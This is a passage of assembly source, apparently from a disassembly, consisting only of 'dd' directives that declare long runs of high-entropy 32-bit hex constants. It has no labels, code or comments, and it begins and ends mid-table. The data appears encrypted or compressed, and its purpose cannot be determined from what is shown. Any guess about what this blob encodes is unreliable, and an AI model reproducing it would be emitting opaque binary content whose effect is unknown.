35F4BB02h, 1A99FD4Dh, 64F5E9BEh dd 0E0D63B18h, 838DC2BFh, 28531285h, 2B000CBFh, 7DDE3BDFh dd 83B70FE3h, 1150C332h, 0F80584FAh, 0F611F022h, 0C1B7F208h dd 57017F6Fh, 7E622E56h, 6852F128h, 22132D4Eh, 6B83ADA7h dd 0BBC6BFF9h, 799D2370h, 0B8584C04h, 337883A4h, 5088814h dd 9B3D2922h, 39F27C00h, 0B010244Ch, 91515B95h, 0B23C6848h dd 8A1413C1h, 68502A04h, 0A97F4B28h, 0C3598237h, 3EC5B156h dd 47531003h, 0D37510CCh, 0B912979Dh, 455D1D9h, 5EC033DDh dd 5AFC97BEh, 0AC1CC49Fh, 6458A7F4h, 423C5AE4h, 5F4E40AAh dd 0A554A39h, 1E3BF87Fh, 12DBAE89h, 1E42BBB8h, 43521E75h dd 4EB51E74h, 68EC8686h, 0EC96FB6Ch, 71FEE408h, 66ED3B80h dd 0F16A8341h, 3A12A708h, 77842955h, 7E0300E1h, 8657BD1h dd 0E7666D26h, 7D291E3Bh, 3C15B052h, 0AC198B36h, 0A613C6EBh dd 5C2873Ch, 22571A74h, 5605FC76h, 46FB726Dh, 0A6CBDF92h dd 139DC4F7h, 0CB7F5068h, 395904AAh, 0ABEF075h, 491B56D6h dd 2142C477h, 4BA1FEE8h, 0E83A3FCDh, 5767F15Fh, 0C8A9E604h dd 51762F83h, 2D34D5EBh, 0F75F7425h, 0C63C141Fh, 0E37BFA55h dd 54142FA3h, 0E1C16971h, 0C7AD3F08h, 0BA227484h, 0E63B0229h dd 335723A7h, 0B6DD0B51h, 0EB277B5Fh, 1FB8DD02h, 114EB4B8h dd 6DB2C4BDh, 0DD2B4C19h, 89E11164h, 0A4C5C7B0h, 18E54E8h dd 0D88B7A4Fh, 41FB8359h, 7B5275CFh, 688499A8h, 7E208EECh dd 80F87D80h, 1BA4571Bh, 4E2FC99Eh, 0A3535BBCh, 4DEE8BBFh dd 886842C4h, 57970EEEh, 32B522B3h, 643DBC64h, 5F8AEF59h dd 21DBF02Dh, 0EB155449h, 0A5D52329h, 342456B3h, 0A72D3DAFh dd 7A767E20h, 38320557h, 0DCAA8D75h, 4AF1B889h, 31BA5B69h dd 59147408h, 28BA2E58h, 0A3537503h, 0C5882938h, 0C348C268h dd 0F71A5F7h, 840A04E3h, 423BD9Eh, 5B08ADA4h, 0EBFE2D89h dd 0B0989FBBh, 0CB8FFEA5h, 12C33675h, 0B0A75E8h, 375480BEh dd 64C85342h, 0B6D05E78h, 69A19F81h, 3DD20372h, 4B885126h dd 0CCF8A9D4h, 85C87C74h, 73E43C33h, 0DEFB9762h, 544ED01Ah dd 16B2682Fh, 0D36AFCD2h, 851386BDh, 0A9432720h, 2745DBDDh dd 848A1301h, 3C14430Dh, 2482AEADh, 0D10145Fh, 1990F9FCh dd 4D5C4132h, 0D1C8D732h, 534BCD76h, 0F7A662ACh, 0A77FEC23h dd 0F44EC9DCh, 3DAE9632h, 2BB63B5Bh, 80A85462h, 1435C414h dd 0E42E1A71h, 0B6FC597Fh, 9D5B0427h, 3FAEFBEBh, 0E65AF57h dd 9004C804h, 94438023h, 0E59D1256h, 43C8B2DCh, 202F5152h dd 0EC85BFCh, 5B103C9Eh, 7050CA83h, 79FB4259h, 0BB9721FDh dd 7F9D3813h, 7F5929BEh, 44094771h, 68AC2640h, 4CC3D078h dd 54B046E4h, 0EC419CC6h, 5E554ECEh, 0F4DFBCB8h, 7540A4EAh dd 5468187Fh, 77CB916Fh, 723226C5h, 4EECCEC9h, 3365FD39h dd 84BF7FA2h, 0E0D2CAA8h, 0C7743B20h, 0B396035Fh, 0B7F5F66Ch dd 45646ED9h, 31D8F721h, 0DF642F2Ch, 0E0BDCCFBh, 0A9F55F86h dd 7D309A21h, 14A3C1E5h, 5A88B514h, 0ABD8F7EDh, 1759956h dd 291EF052h, 11851C57h, 4098F455h, 0FC30E3Bh, 8614AC8Ch dd 110BFC8Ah, 0EC2937A1h, 4C53C49Bh, 5E448A8Bh, 3DDA8A70h dd 0F39FF0F8h, 7EF0A726h, 4AD25997h, 0B28D190h, 0E7402C4Dh dd 9320E4B0h, 0A74CAA98h, 8E14649Ah, 13514C26h, 4D0BFE3Bh dd 0EB147507h, 619BC38Ch dd 67BDA817h, 0B410BEB1h, 0CABBA7D1h, 9F53429Eh, 18713167h dd 0FCD2414Bh, 0B9F6E6C7h, 1D407963h, 5D5FE47Bh, 6575F84Ah dd 0BB2184BAh, 24F670BCh, 0DFFE5C2Dh, 71A7CBAh, 74777462h dd 284AD30Dh, 22873EAh, 8801C04Ch, 7757040h, 818C6812h dd 4946D0E0h, 43905E50h, 2B2888CDh, 509933B7h, 0BC3C095Ch dd 25FCAC5Fh, 0B9EC1448h, 22522786h, 3C216B90h, 0FB233B81h dd 53425762h, 0EB3C8B3Eh, 34874D7Dh, 42F8EB21h, 0E2ABF5h dd 7BB29A22h, 3E367426h, 5E2524A1h, 54CBC37Ch, 0D0577DBAh dd 0BD089260h, 6FF41439h, 0F22B9299h, 98EB856Ch, 42688062h dd 0D7E75D96h, 46DF1220h, 58DC7CAFh, 878EFE40h, 95A928AEh dd 9AD337Bh, 0F19CDF46h, 8341E446h, 0F8DC9C7Eh, 44A253B5h dd 4A7D9948h, 817B4484h, 5D42799Bh, 0F68308ECh, 0A6864BD1h dd 0C4FC5E62h, 0EF8C29B5h, 76081E1Fh, 5D728FA9h, 10920967h dd 0B9CD28FAh, 8498AA4Eh, 55F39D34h, 82F6338Bh, 0F2A4B858h dd 0F76AF101h, 3525742Dh, 15772384h, 0F5E5FCD8h, 7361147Bh dd 21044114h, 2545DA4Ch, 229A9814h, 46610D58h, 495D73E0h dd 0B14C2F19h, 4B5841FAh, 0B997EC83h, 0CB7334A7h, 67FD3888h dd 0F0D07834h, 0B81387FAh, 332FD49Bh, 0C0BB58B1h, 25B907D0h dd 0AE4F5318h, 5E559AB5h, 248124E4h, 7EA3AA3Ch, 5289088Ah dd 4083ECF7h, 0CFAAE0E8h, 74CC8A01h, 0A2D2511h, 925C1B6Dh dd 0DC5E34CAh, 89F2878h, 0FB81C6B5h, 3FBDA48h, 0C38B2273h dd 9EC6C72Bh, 8E9A50B5h, 169FEF54h, 0AAC7D6E4h, 7DEC5B29h dd 0C7AEDD08h, 8F3B0574h, 834A7783h, 8B01BCE8h, 124FC77Dh dd 0DCAA6585h, 30496842h, 10EB140Ch, 2D08E212h, 5B75F28Ah dd 327F69C5h, 87D0C0CDh, 0A95A8B27h, 6E744298h, 44A6B749h dd 808C22FFh, 0BC6A50BDh, 0CE821283h, 0E559564Dh, 0BC925669h dd 239EA728h, 27EBA2FCh, 17E4F1F7h, 0EA41C727h, 623FEE56h dd 91AA63E4h, 0C5C88384h, 87F2766Ah, 0DAB5EC9h, 8A17250Ah dd 62A9846Ah, 8A6EB445h, 30ECB8D9h, 2413757h, 14933249h dd 4D64BEE8h, 0B5BED684h, 407DED37h, 900DDC0Bh, 56427638h dd 1CDD0C80h, 0D0503524h, 1B904836h, 7C682B98h, 0D58F825Fh dd 65AA6A49h, 0D3EEC0FCh, 5DCAE09h, 0EB74056Ah, 0B5BE0C85h dd 6433FAF1h, 528E40A7h, 0AD60E178h, 7424D1F6h, 79565CEEh dd 3FCEF9E8h, 9FE75569h, 5C442D3Eh, 0AA5F64D5h, 1C0A6ECBh dd 3412BD89h, 0F186BE49h, 0AC43B613h, 8966021Fh, 71FF20B5h dd 0EF1EA030h, 85280274h, 1C901127h, 74B3223Fh, 752505E6h dd 3765DF12h, 33955691h, 0B4E868C4h, 0FE990C17h, 871DBC46h dd 0DF222C9Ch, 0D3355916h, 65FBA1AFh, 0B5CA7F2Ch, 0ACC93384h dd 7E0802ABh, 0DF158A10h, 300693D0h, 3B410114h, 0F07C2721h dd 169B96FDh, 0E05ECC01h, 21B7C911h, 8BC19567h, 67915CCAh dd 0FC65F238h, 324110D4h, 132AF8BFh, 3698ABBEh, 495D4F8Bh dd 0F68D8DDAh, 0A8A56A22h, 297EE4EAh, 890D20CDh, 8FD3004h dd 0CC0B121Eh, 0B4000B0h, 125589C2h, 0F016740Ch, 31BA6AAEh dd 990659EAh, 0D285F9F7h, 6C60170h, 0C2EB462Ch, 3B65614Eh dd 0F13BD680h, 8A080E72h, 408F880Eh, 8047EBEFh, 0C78B0220h dd 6458F9D5h, 0BC72434h, 0EE480FCFh, 2108792Bh, 20180690h dd 0B806170Fh, 0C3324EACh, 9006A8CAh, 6498C8A0h, 19883290h dd 0C80C0980h, 3E8BB518h, 72A7C55Eh, 6F06410h, 4F808F4h dd 0BFC4A1FCh, 0A01197CCh, 0C851F086h, 0E89EF808h, 0D0146925h dd 672312Eh, 0E8E34359h, 4FC4AEDCh, 98A119BCh, 479A0901h dd 78859A8Dh, 4EE2A9A1h, 0BB7D794Fh, 6C4E6F59h, 6EC4230Dh dd 95F3A924h, 0F41EF032h, 0EA0D9D19h, 8E32FC04h, 0C8FF5325h dd 10D96A5Ah, 0BC24EC9Ch, 0C2701C11h, 27382724h, 0BAABB8BFh dd 8C5EBEB2h, 6854414Bh, 0F6BBEC2Bh, 50CF9E67h, 5A9CA0CDh dd 85537B5Bh, 7F627DC9h, 68082915h, 0EB5BD0FFh, 0B0BE321Ah dd 0BD6A16E5h, 4F3C5A59h, 0FE9D2DBBh, 0F3B3592h, 6A2391CCh dd 0B52C9460h, 0DC245633h, 0A84E0510h, 0DC142066h, 41D42D66h dd 5AD9EDEFh, 109CA33Ch, 7274DFFDh, 80230A19h, 6BE181A5h dd 0AF814968h, 61967732h, 5324751Ch, 48503A68h, 0FC5368B2h dd 4F97709Eh, 0D97EAD45h, 0EC802C32h, 8DDAE185h, 94EE9207h dd 0E4C04336h, 167AA987h, 3B45F749h, 3A3DFB44h, 33532370h dd 3E5AB7DBh, 1CB7C490h, 5E49C4F7h, 0EB8A1FFDh, 0E034E661h dd 0B9FE04FAh, 270074Ch, 0A186C6D9h, 90EA570Fh, 0F81F3814h dd 77BD98F7h, 0BB845E68h, 7C743638h, 0A049AF12h, 0C0A9051Eh dd 0C065C38h, 5908749Bh, 0FDCC7525h, 8529DF9Ah, 9CC2FD5Ch dd 44B47904h, 0F66472A7h, 2C98C438h, 96D08EECh, 2AE05FB5h dd 0FB1FD2EBh, 0EC3D32E2h, 18A0877Ah, 7DC6DFAAh, 12845C21h dd 2D252A64h, 7A67CA10h, 0CA645E87h, 0FD68103Ch, 0FEF164C8h dd 4DE21005h, 5D9A24D0h, 61012738h, 0FF186F40h, 0D73C614Ch dd 0B29ABED8h, 0FAAD6142h, 4E5C9DF6h, 0B29CF953h, 8B182A4Ch dd 9A7504BEh, 0E76CDD25h, 0D684A02Dh, 3D8B501Eh, 0B629FAB7h dd 0FEBC42D9h, 326945DFh, 1877D7D6h, 0BCC0BB92h, 717405FDh dd 101D4FF6h, 0BD805422h, 2E19FA64h, 0E9121275h, 42523616h dd 0A72E3C09h, 0C9996C39h, 1751B40Eh, 6253180Ah, 1CD4BE6Fh dd 27E69F14h, 816F61F8h, 1CC8942Ch, 9156D37Ah, 0A5DC77EEh dd 1F0D5C8Fh, 15C66F70h, 520BB845h, 0AE0AFD45h, 0D732AB97h dd 436C7C4Fh, 0A8426862h, 0BEFA2187h, 9FED84AAh, 0B4217BBCh dd 4C2879FAh, 86A55654h, 84EBB19Eh, 7EA08B1Ah, 29C5815h dd 2576B99Fh, 0FF46640Ch, 9020B05Bh, 2F0D669Fh, 0A21419Eh dd 200F74FCh, 82970243h, 18867838h, 567B3F64h, 2116A0E9h dd 7D9E8B25h, 0F595E6h, 0D6586853h, 0D899FB2Ah, 0D207E86Fh dd 57270D19h, 0D6254F7Fh, 30B206Ah, 4D483CA3h, 0CE11B86h dd 0E4218C30h, 4A400885h, 3832C864h, 34ED1AAEh, 6467010Eh dd 7ECCAD93h, 8904769h, 0D548358Ah, 19986625h, 403830BBh dd 0B4F28857h, 5FD69E85h, 1F40DBBFh, 0EA99CF2h, 17BC7F0h dd 47544851h, 8B072618h, 0EB1C660Ch, 58670F05h, 42C29FC3h dd 1D8E3D83h, 579E4B13h, 644C1BC4h, 0F2408E4Fh, 18B178EAh dd 4933EB28h, 6821448Ch, 90698BF9h, 0C2F798Fh, 0BB5D08ADh dd 5DDCAC20h, 70C5D7CBh, 21246A9Ch, 99A8FC7Bh, 81B4448Ah dd 6813EB5Bh, 162D5FA8h, 1AA1F633h, 16420838h, 6819CC4Fh dd 0FF640CF3h, 0FD467E1Ah, 6D424E84h, 640EFF29h, 0B1A1424h dd 55531982h, 5489865Fh, 0F2BB4FE5h, 65F84E6Eh, 1F301051h dd 61448A50h, 448DE81Bh, 9748EE52h, 8FA49ADAh, 0D6E512D7h dd 414C189Ah, 2EA0D9D4h, 4794288Bh, 1C434C8Dh, 2B107489h dd 0A4305051h, 377E9850h, 0E832C11Ch, 0C2183504h, 0F8354354h dd 0FF3B59DDh, 10560BF7h, 0F6006472h, 7505087Bh, 0ADA8506Ch dd 2EE19115h, 0B4423729h, 44E9E173h, 253D40E2h, 6860478Bh dd 6E20B849h, 878D257Dh, 0CEC28DB9h, 0C75D594Ah, 68341D84h dd 6925978Bh, 0CD421838h, 0FCDAC383h, 0FB1C30Eh, 339C7609h dd 0E4A4B475h, 5B495D4Dh, 0FDC32AACh, 7CCBC3EBh, 768120ABh dd 8C59495Dh, 98110C7h, 0BF48BF1Ch, 1AB786B0h, 486D3EBEh dd 1B439744h, 438B07E0h, 94E3E6A4h, 8C8818FBh, 2B20083Bh dd 4D9DAD72h, 16E169DEh dd 0E5E88265h, 0C890D39Dh, 0C29D648Bh, 137A5F14h, 0DC9DF079h dd 0E4D5A776h, 0B44D999Ch, 67294EA4h, 483DB8B3h, 7C89257Bh dd 0C89C15EAh, 62C86022h, 65F812A0h, 38B26DB9h, 1D327CB6h dd 0CB51195Ch, 504D2605h, 0FDF005A3h, 3F59C97Fh, 0A190F0F1h dd 92B38DF6h, 971C6AF0h, 708BDAFCh, 6B4F5618h, 0F027B1D7h dd 4D133562h, 14D0FFD0h, 0B53BC823h, 0DE608C78h, 0D545F625h dd 0D414C801h, 45CC5AB2h, 0A8D725F3h, 263443E8h, 57F4B5C1h dd 0A1D34A4Ch, 0C414AA46h, 2A71C95Ch, 46E57CD2h, 6517481Dh dd 2ED92D4Ch, 74190F40h, 83CC8410h, 347F4E2h, 0F83B98C1h dd 49EBFE73h, 6E272FC8h, 87129159h, 0D9EB0D25h, 75526B62h dd 0ECEC88AAh, 3066D3BDh, 878A1025h, 7C472C6Ch, 0E8D1020Ch dd 897FE083h, 52B7A385h, 86C0211h, 3F6254A3h, 89B5B0C4h dd 0D1086BD5h, 17E1840h, 38848D70h, 813F8A34h, 0A30C06C7h dd 9089454Ch, 24F59B36h, 0F0F2D322h, 9F1A735Fh, 5BC64B5Fh dd 4C928BDBh, 2A5451C4h, 6A9CF5A5h, 0A2A284CEh, 0FA104B75h dd 18A14EB4h, 26BC5D8Bh, 0D85B3BC0h, 5083B0E4h, 923D21A4h dd 0D843CBACh, 93B5FBDEh, 16747428h, 4558B78h, 8CE44D3Eh dd 0FCF08973h, 3BD0231Ch, 36A7589h, 0B101ED72h, 6C245164h dd 0E1A3DCD7h, 7021F012h, 56D26583h, 4256947Dh, 28C45C88h dd 93566B8Ch, 0C986456Ch, 506B4CF3h, 0F6CF6C91h, 0A0C31ABFh dd 6EBE838h, 23600997h, 9B5D0364h, 0A4059D3Bh, 40D46282h dd 4AF5F7EFh, 812E33FAh, 89B4EF94h, 3306A186h, 911D89FCh dd 22A31234h, 0E3E13833h, 1D13005h, 71AFF8BFh, 4C74B540h dd 65FFF815h, 3F35897Bh, 0EF4AAEE8h, 2951DD4Eh, 0CE394AA1h dd 8D571961h, 0C244980Ch, 0FAF5E97Fh, 25A808A4h, 4DA418F6h dd 0DC5E1C8h, 81922C10h, 35FF51C9h, 0CBBF6645h, 0A0FA449Ch dd 0AE125451h, 0A1AAE756h, 1140BF34h, 0E636F834h, 4AC4FAFBh dd 57916286h, 51A61C39h, 0CDB9FAFCh, 44984D18h, 0EA933CD2h dd 151CE889h, 978EAFA4h, 51F472A1h, 42BBEC95h, 5E87BF66h dd 1436A6BEh, 0A3034089h, 892EA95Ah, 56CFAB21h, 0A8D0C1F8h dd 82642643h, 0ECA4D2F0h, 0A0B8ECDFh, 0B5387688h, 4F0027D1h dd 0D284118Ah, 0EE554C88h, 7980150Ch, 0F767532h, 0F820FA2Eh dd 853FDF29h, 767EFF7Dh, 3E410A4Eh, 3918C0A6h, 0A9CE7206h dd 0CFA11D32h, 0EE5394F2h, 0A0BFF8A5h, 0A518EB1Ch, 8714081Ah dd 868B1879h, 9F0E81F4h, 860FF7D8h, 0D7E44648h, 0E24234B8h dd 5EAD4CC8h, 2FF67A89h, 0C6F55255h, 0A159BF81h, 1002D749h dd 454B5CBEh, 0FC7E83B0h, 187611B0h, 76173E70h, 76EE6A13h dd 0DB9F9207h, 0C681820Fh, 52FE0210h, 9AB17C88h, 0F97590D4h dd 12E44AD9h, 9DFFE8BEh, 0BA7E18EDh, 13049FD4h, 5A1A8E0h dd 5B076AE4h, 77E80F92h, 4B516976h, 0B0EE3860h, 33E416FDh dd 2642FEFFh, 0D5F73B0Ch, 2EB8A1FAh, 765C6C32h, 505C7DE0h dd 564B695Ah, 10E9E87Bh, 4E3B4393h, 0EF7F84A7h, 93280400h dd 9F5B3C43h, 0FBE07E30h, 0D2F694BDh, 4EA2EF1Bh, 630F10CAh dd 70401C68h, 0F3BFFD28h, 7A1E4D39h, 0EF9FC1E6h, 57D27076h dd 0B841D3F9h, 0BA3E4008h, 0B8EA9477h, 0F6695704h, 0D12F0F89h dd 6264867Dh, 58BE1854h, 0F8B6FF0Dh, 54B34Ch, 3359A96Ah dd 0C7483BDBh, 5B86240Ah, 3FFB8249h, 52CCDF01h, 0DFF8C4C2h dd 14455FFFh, 0A9230E21h, 1EBF1932h, 8AC1CF53h, 22680F18h dd 0F6C3568h, 386880EFh, 0C88E935Ah, 53291442h, 0E1FFCFCFh dd 9185B614h, 23578AD2h, 8F67465Ah, 9510A111h, 0E3D63757h dd 0BFC14AF5h, 10217C7Eh, 415A4278h, 848AC983h, 3C274105h dd 0D11CED0Dh, 6018FD0Ah, 0A0200800h, 0C2D2FB0Fh, 0A1ABD587h dd 0A484FDD0h, 5D3AEB25h, 3352E6C4h, 6105F4Bh, 84F54316h dd 0C288766Bh, 57252977h, 0CB842113h, 74302A74h, 0E93B40FCh dd 93756D41h, 7A6D2334h, 639E483Dh, 0AD4A8B8Ah, 55259C74h dd 655F56B2h, 490D2E74h, 62263951h, 7EFC82B0h, 0B8EECA67h dd 18390133h, 22050D74h, 3D4709AEh, 0EFBD9078h, 31FF0283h dd 0F78B4A74h, 0C6B2AF6Ah, 0BB0C3ABh, 0EEC990B8h, 0C7B52A0Ch dd 1383F24Eh, 4116D5C7h, 40505522h, 5A616811h, 0D029AE7Ch dd 0A55E172Fh, 7C10D801h, 0E1DB9958h, 0C26B6A40h, 0C4C7D4BCh dd 9EB1FDA7h, 0DC0684DBh, 0E7EFD80Dh, 82B05A9Ch, 221BAA19h dd 0DD666A05h, 34FFC820h, 8A4D6895h, 0C31942F0h, 42C0B999h dd 87271BF5h, 85276FEh, 74BD9AA4h, 0B6918798h, 0F1828B45h dd 6C17C13h, 0D5C62B58h, 0EC417286h, 28D004CEh, 18D8528Bh dd 0F84DDAC4h, 8DC829EDh, 0BF02FE60h, 32449A68h, 314137Eh dd 0FBF30077h, 95097401h, 0BA9A5FD6h, 424E1EF9h, 89090C0h dd 448A6885h, 0B0EF64C0h, 5CFCD341h, 0AB9F44E9h, 0E4921AEDh dd 2EDA6A4Bh, 66121A42h, 4E58EBA9h, 0FF9FDD4Eh, 56DE55D0h dd 17958AC9h, 0CF78352Eh, 0D7EC6565h, 6DDFB3CCh, 31DD59F1h dd 3F861A71h, 0C532524Dh, 0BA21808Ah, 0B23F0388h, 21D86A70h dd 9E415DEBh, 0A80C4D0Ch, 9F871E96h, 67F5D42Dh, 0F1DD49CEh dd 27029054h, 0BE3C8121h, 0A74FFF43h, 0AA203067h, 468D70F9h dd 79AD0352h, 2B2DCA85h, 5BF19128h, 507F8BB3h, 8537C1FAh dd 0FA6DF0E4h, 1CEB8917h, 0B8426A36h, 2A41B180h, 58B788C8h dd 5B462A18h, 0AFD490BBh, 8CB015DEh, 0E7E0EBA4h, 5B87A16Ah dd 3B15C97Bh, 8839EF0Ah, 152828DDh, 8A1EEBD4h, 40CA4CBCh dd 8CA28646h, 0F06E6C2h, 0FED1F78Dh, 137D0504h, 46D075CAh dd 24086AC5h, 2F9B9515h, 29244943h, 0A8E53A1Ah, 0EB306D70h dd 140E991Dh, 44AA8C22h, 0F4397D89h, 0DE7AA602h, 5C8DCADCh dd 46847C65h, 0A0941E87h, 3923E139h, 937D1E30h, 6C98C510h dd 0E6B7D53Eh, 0E7CB7C1h, 6B7F54C9h, 0DAB71114h, 0E958BFBBh dd 14042B75h, 1D7EFF85h, 805E4FEh, 40CF8985h, 0B606874h dd 12F73B46h, 0C032E37Ch, 0B0C35D69h, 0F8EB0118h, 4A10B871h dd 816AA220h, 5748560Ch, 738E46Fh, 628C2DEFh, 0D5036AAEh dd 0E2D346E6h, 2A78FF8h, 0F6294BB3h, 0E0A6BB53h, 0EFDA174Ah dd 9FF01568h, 6FF7BEC9h, 0C0740DC1h, 274E1B28h, 62EF8963h dd 0C72A5B2Ch, 0FDD2649Ch, 561122CFh, 8C4DBB97h, 0E83A57BCh dd 9374100Ah, 17205623h, 0E0BEA544h, 0B139D620h, 51FC3A1Fh dd 0EC42324Bh, 10863699h, 0C3F2BD80h, 7D750C33h, 68187E08h dd 6494A5C0h, 687444C5h, 0BA41382Ah, 0FD74B703h, 75023620h dd 6887A047h, 276BD1DCh, 7210C291h, 5E102F95h, 810C020Ch dd 20DF2CFEh, 43C39D83h, 4F2064EBh, 0F6242FF0h, 798BC71Ch dd 0BD5EDBD5h, 0E95BC38Ch, 0A693E83Bh, 1D4F0890h, 0BB6FE483h dd 7692C6BBh, 17A21F39h, 0A4748771h, 2290AE6Ch, 0D6655402h dd 0DB1A0F72h, 12DF2FDDh, 258B54BCh, 4106187Dh, 39C75C2Bh dd 55E8B34Eh, 0A5537BD5h, 0CDA5C4BEh, 10C91178h, 688C7353h dd 0F9A8126Bh, 0B8115050h, 2B54A051h, 8BC021EFh, 727EF2F7h dd 7704E26Bh, 0CC278C71h, 7D02078h, 55565327h, 0F830EA98h dd 6900D99Fh, 3A567AC1h, 0E6509DF7h, 5AF4B05Bh, 2FA4A27Dh dd 0B53A8573h, 40FA2816h, 31148A9Ah, 0A18FA80h, 0D0A0574h dd 91045175h, 3B4180F7h, 0EA7C06C8h, 3B57D233h, 75A12A4Ah dd 3C804F87h, 19750332h, 1B37CB3h, 0A4CC030h, 5B810E74h dd 294E9FBh, 0F890B7Dh dd 7A7D043h, 7CD03B42h, 0CCE8FDCh, 17745F02h, 8B1A80B2h dd 84DB9D92h, 0E491EDA0h, 8826125h, 14854E6Ch, 454014B9h dd 8DABF305h, 81851C78h, 8B531F7Ch, 103B82DFh, 9006048Ah dd 3FB575B9h, 4CBF4659h, 1C891882h, 0D7404B81h, 5B5BE57Eh dd 96053F17h, 98C0424h, 613C07ECh, 510B7C59h, 0A0077F7Ah dd 0E809D928h, 0DF33C360h, 100CE718h, 575172B4h, 5329EB2Bh dd 0FC7DB03Bh, 9CC8D994h, 0F1EFF409h, 3F2B3758h, 795A7871h dd 8B4E0402h, 7E9D40FEh, 0D0CC927Ah, 0C49A7F9Eh, 7BACC189h dd 9F8C071Fh, 0DEA59255h, 46A02052h, 553F7C1Fh, 4F84AAF4h dd 2BCA8DA0h, 1E32CE48h, 0C107027Eh, 7D83F803h, 0A2C93FCh dd 0FF728D95h, 0B0D0594Dh, 55897019h, 0CC4DA4F8h, 0C1524D64h dd 4FB07502h, 8E86EB4Eh, 0D7058CBBh, 0AAC75B03h, 81018B2Ch dd 53A36F56h, 2DAA1C4Bh, 685036C6h, 2BED5016h, 329C3FFCh dd 83C41210h, 42716414h, 88AC01Fh, 301FF980h, 90A057Fh dd 405E0375h, 7148A388h, 1419A38Dh, 1D0C72D0h, 0EB742E08h dd 0E67C2105h, 0EA832F24h, 54B1DABEh, 940462A2h, 6F1D5639h dd 92D7C4F8h, 995FA491h, 0D22B2A72h, 64C6C426h, 1CF229A3h dd 6C9A38DCh, 73DAD5F5h, 0C13686Ch, 2222B128h, 248AABC3h dd 287E5508h, 30BF0BD9h, 86D24316h, 38E01528h, 0EE3BE805h dd 11A16474h, 6A32C82Bh, 0D806046Bh, 43785181h, 16B789A4h dd 328D1C1Fh, 0C0767455h, 53137CCAh, 506E5BE6h, 4CC868E5h dd 303A55F2h, 210FC5D0h, 59E0C9C9h, 57817170h, 37E0292Bh dd 11C8414h, 0BF91EA25h, 8C2AE485h, 25D80420h, 0B99418DCh dd 0A390928Bh, 0D9732709h, 62842FBCh, 2A12B803h, 61D248F8h dd 0D6B250FCh, 12E65175h, 6A44B14Ch, 0F0CF58FCh, 1480F319h dd 8F1DB382h, 6AD3A779h, 0ABB7F0Dh, 4A3402A8h, 0D66A4B40h dd 16940659h, 52E9E636h, 6069F37Ch, 1318E6F5h, 0F2942868h dd 51C9F64h, 66A0431h, 52144692h, 26E2BB2Fh, 6410C646h dd 4EBA5E07h, 0EB3590DDh, 0AE0F7417h, 49757AC8h, 0DB66AE07h dd 0A5280D59h, 9C59B183h, 921D4973h, 433FF2ABh, 0A00E6212h dd 986801FDh, 0A6AC6B94h, 0BC1412F4h, 11BCD217h, 0A600BAF4h dd 0C860FFEh, 22118201h, 68444850h, 0D23D5453h, 1943EAF8h dd 12332D5Eh, 9A57570Eh, 0BD8D947Dh, 8CCF2571h, 95A81844h dd 0D526B647h, 75E77D1Fh, 0A411B866h, 0BC5EFFFEh, 0FDB42D30h dd 0D4ED91AEh, 4A55C22Dh, 257B4BBDh, 33D7508Dh, 0BA52EC54h dd 0D27EF1CDh, 129212D2h, 29071B7Fh, 48249C2Eh, 0F3CF1BBh dd 0BA291035h, 0B04355E3h, 0EB846E65h, 68256CDAh, 948FAF4Ah dd 0AD902734h, 9672B95Eh, 2057CAFFh, 0DED79002h, 3AF52DA8h dd 319E77F2h, 0F9DF1082h, 0BF504567h, 7C2251E6h, 55750212h dd 14B1E4BEh, 26542AC9h, 593B57DCh, 2F8C5764h, 0FC516831h dd 0A85004A4h, 9257A263h, 5414DC0Dh, 38EB2017h, 0D4DA73AFh dd 0CB52677Eh, 0A4687D28h, 2BF43A1Bh, 92C35F1Ch, 0AB7451C0h dd 421D6ADh, 0A97A2D75h, 250D8BB6h, 27BB394Fh, 7E19B6EEh dd 0A751684h, 63AA095Eh, 3F4B05EEh, 48681890h, 0B74BFD0h dd 0F5EEF0E5h, 0C4385261h, 0D7326A22h, 0DECB0572h, 0DD4DB40h dd 5926D4D0h, 289D14A5h, 59FF0811h, 241114B2h, 0B70C490Fh dd 0FD46CBDDh, 4346CEBAh, 2ED44E4Bh, 0AB3CD40Bh, 9D945837h dd 512F411Eh, 5C955756h, 5DFE0B25h, 0DB0CD0C8h, 52970CD6h dd 0D84DDA83h, 0B4E00DDCh, 0F02BE293h, 6A95EBE6h, 1395517Ch dd 4AE8F010h, 40348D18h, 61E6C1C8h, 20B6D302h, 50A82B95h dd 56887CC4h, 0FC867F85h, 6810E92Ah, 0AC29630h, 7CBA40BEh dd 85D12DE2h, 29042D45h, 2E82A7Dh, 3D616958h, 0DD8DE0EBh dd 0E0235540h, 34A118FEh, 2F0AA3E0h, 5EF40C9Ah, 9776F12h dd 415F53A8h, 0FC13F19h, 0C82B222Bh, 7531B075h, 0C302960Ah dd 0C5DCEBD8h, 0C584BB9Dh, 5E3400F5h, 22B84FB0h, 2096F3EBh dd 45454D5Bh, 0CF1901F8h, 17D4030Ah, 0E37617Eh, 3B327F06h dd 59517FE2h, 131C1553h, 6616EBA5h, 0B8711F84h, 970C568Ah dd 0CAB4A820h, 27CC4808h, 5739CACCh, 0BA5E4407h, 1C6281D5h dd 82B474B9h, 870FC13Bh, 5DAF33D4h, 0FBF3EA9Bh, 5A772201h dd 0C88B4E74h, 0EA8EE9EDh, 1933493Dh, 9F2206CEh, 13195118h dd 0BB3A240Ah, 0C068A420h, 7090BD9Ah, 36B0477Eh, 7C420A8Eh dd 1C5948C8h, 99C8110Bh, 0BA81B0D9h, 74C60C11h, 0DE1BAE25h dd 0A664FB06h, 99B0219Ch, 1580310Ah, 24DD7DEBh, 0C1760742h dd 6F129814h, 70F0EC2h, 305BB9A5h, 746D77B1h, 888D580Bh dd 0C2A3D5DEh, 60E811F9h, 890EB60Fh, 1F418E96h, 6E8D2486h dd 689820Fh, 81803D2Bh, 9C203607h, 2F0FCA97h, 7E0720B2h dd 2E984228h, 7204021h, 10421A7Eh, 0B411133Fh, 210C3F96h dd 91051F90h, 0B3844070h, 0AB964D70h, 993042CDh, 0AA14A74Ch dd 0DB850E5h, 0DF1866C3h, 3444091Fh, 1203893Bh, 48262411h dd 220A912Dh, 1D09E055h, 3A030201h, 50604B1h, 7089906h dd 0B7630806h, 0BF038C12h, 24263D99h, 2689B14Bh, 45146227h dd 13DC5FF4h, 0FDE99B96h, 94A6EAF5h, 0C9E8B85Fh, 8A2C4B74h dd 0A6412901h, 9226A30h, 46FC4C94h, 0EA3D1211h, 0B485D921h dd 1E6AEC14h, 8ECCFC5Dh, 358D17A0h, 0FA7378B5h, 74489BC0h dd 3906C843h, 25202F10h, 81111B40h, 9BBF2007h, 3C9D3291h dd 0A1309FE1h, 9FA1249Fh, 0C9FA118h, 